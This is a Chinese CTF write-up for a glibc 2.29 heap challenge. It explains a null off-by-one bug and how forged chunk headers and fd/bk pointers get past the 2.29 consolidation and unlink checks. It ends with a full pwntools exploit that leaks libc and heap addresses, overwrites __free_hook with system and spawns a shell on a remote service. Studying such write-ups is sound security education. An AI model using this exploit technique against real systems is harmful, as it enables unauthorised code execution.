0x00 程序分析 程序给了libc,版本是最新版的2.29,在原有的堆利用方式加了很多限制,比如堆重叠,tcache的弱检测
先看下程序开启的保护:
1 2 3 4 5 Arch: amd64-64 -littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
开启了全保护。
再看下程序的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 __ __ _____________ __ __ ___ ____ / / /_/ / ____/ ____/ | / / / / / | / __ ) / ,< / __/ / __/ / |/ / / / / / | | / __ | / / | |/ / ___/ / ___/ / | / / /___/ ___ |/ / _/ / /_/ |_/_____/ _____/_/ |_/ / _____/_/ |_/_____/ ===== Baby Heap 2.29 ===== 1. Allocate2. Update3. Delete4. View5. ExitCommand:
漏洞点在Update功能,存在一个null off by one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v3 = 0 LL while ( v3 < a2 ) { v4 = read(0 , (void *)(v3 + a1 ), a2 - v3 ) if ( v4 > 0 ) { v3 += v4 } else if ( *__errno_location() != 11 && *__errno_location() != 4 ) { break; } } *(_BYTE *)(a1 + v3 ) = 0
程序初始化时,会通过mmap随机地址分配0x1000的内存空间,然后程序Allocate功能会在该内存空间的随机位置写入结构体,内容如下
1 2 3 4 5 struct node { int flag; int size; int *ptr }
程序delete功能会上述三个数据清空。
0x01 利用分析 所以能够利用的点就是那个null off by one。
我们使用chunk overlapping时,有两种方法,一个是chunk extend,修改下一个chunk的prev_size,接着去触发向后合并,使之合并过多的内存,造成chunk overlapping;另一个是chunk shrink,修改当前free状态下chunk的size,使malloc时,glibc不能准确定位下一个chunk的位置来修改其prev_size,接着同样去触发向后合并,使之合并过多的内存,造成chunk overlapping。
但是2.29的libc加入了以下的检测
1 2 3 4 5 6 7 8 9 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); }
向后合并时,它会检测待合并chunk的size,与当前chunk的prev_size是否相同,否则就会报错,因此上述的两种办法就会失效。
绕过检测,实现libc2.29下的chunk overlapping 我们可以完全伪造待合并chunk的head的所有信息,绿色部分是我伪造是数据
这样我们触发向后合并时,就可以绕过上述的检测,但是unlink时还有一个链表检测
1 2 if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" );
因此我们还需要构造fd、bk,因此还需要伪造一个指向该chunk的指针(需要泄露堆指针),最后构造数据如下
实际chunk A的布局如下:
1 2 3 4 0 x558216406d40 : 0 x0000000000000000 0 x0000000000000101 0 x558216406d50 : 0 x0000558216406d60 0 x0000000000000000 0 x558216406d60 : 0 x0000000000000000 0 x00000000000001e1 0 x558216406d70 : 0 x0000558216406d38 0 x0000558216406d40
绕过链表检测,成功实现chunk overlapping
关于泄露libc地址和堆地址,因为程序有输出功能,当chunk由free状态变为allocate状态后,其内存不会被清空,也就是说其包含libc地址和堆地址的fd、bk指针不会被清除,直接输出就可以获得
0x02 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *LOCAL = 0 if LOCAL: p = process('./babyheap2.29' ) main_arena_off= 0x3EBC40 free_hook_off = 0x3ed8e8 system_off = 0x4f440 else : p = remote('192.168.201.21' ,1904 ) main_arena_off= 0x1E4C40 free_hook_off = 0x1e75a8 system_off = 0x52fd0 def q () : gdb.attach(p) raw_input('test' ) def add (size) : p.recvuntil('Command: ' ) p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str(size)) def edit (idx,size,content) : p.recvuntil('Command: ' ) p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) p.recvuntil('Size: ' ) p.sendline(str(size)) p.recvuntil('Content: ' ) p.send(content) def dele (idx) : p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) p.recvuntil('Deleted' ) def show (idx) : p.recvuntil('Command: ' ) p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) def add_7_times (size) : for i in range(7 ): add(size) def dele_7_times (start,end) : for i in range(start,end+1 ): dele(i) def pwn () : add_7_times(0x80 ) dele_7_times(0 ,6 ) add_7_times(0xf0 ) add(0xf8 ) add(0xf8 ) add(0xf0 ) add(0xf0 ) add(0x200 ) edit(11 ,8 ,'/bin/sh\x00' ) dele_7_times(0 ,6 ) dele(7 ) dele(8 ) add_7_times(0xf0 ) add(0xf8 ) add(0xf8 ) show(7 ) p.recvuntil(': ' ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' ))-main_arena_off-0x250 free_hook = libc_base + free_hook_off system = libc_base+system_off show(0 ) p.recvuntil(': ' ) heap_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0xb50 log.info('heap_base: ' +hex(heap_base)) main_arena = libc_base + main_arena_off log.info('libc_base: ' +hex(libc_base)) log.info('main_arena: ' +hex(main_arena)) dele_7_times(0 ,6 ) chunkA = heap_base + 0xd50 edit(7 ,0x30 ,p64(chunkA+0x10 )+p64(0 )*2 +p64(0x1e1 )+p64(chunkA-0x18 )+p64(chunkA-0x10 )) edit(8 ,0xf8 ,'a' *0xf0 +p64(0x1e0 )) dele(9 ) add_7_times(0xf0 ) add(0xd0 ) add(0xf0 ) dele(12 ) edit(8 ,16 ,p64(free_hook)+p64(0 )) add(0xf0 ) add(0xf0 ) edit(13 ,8 ,p64(system)) p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline('11' ) p.interactive() pwn()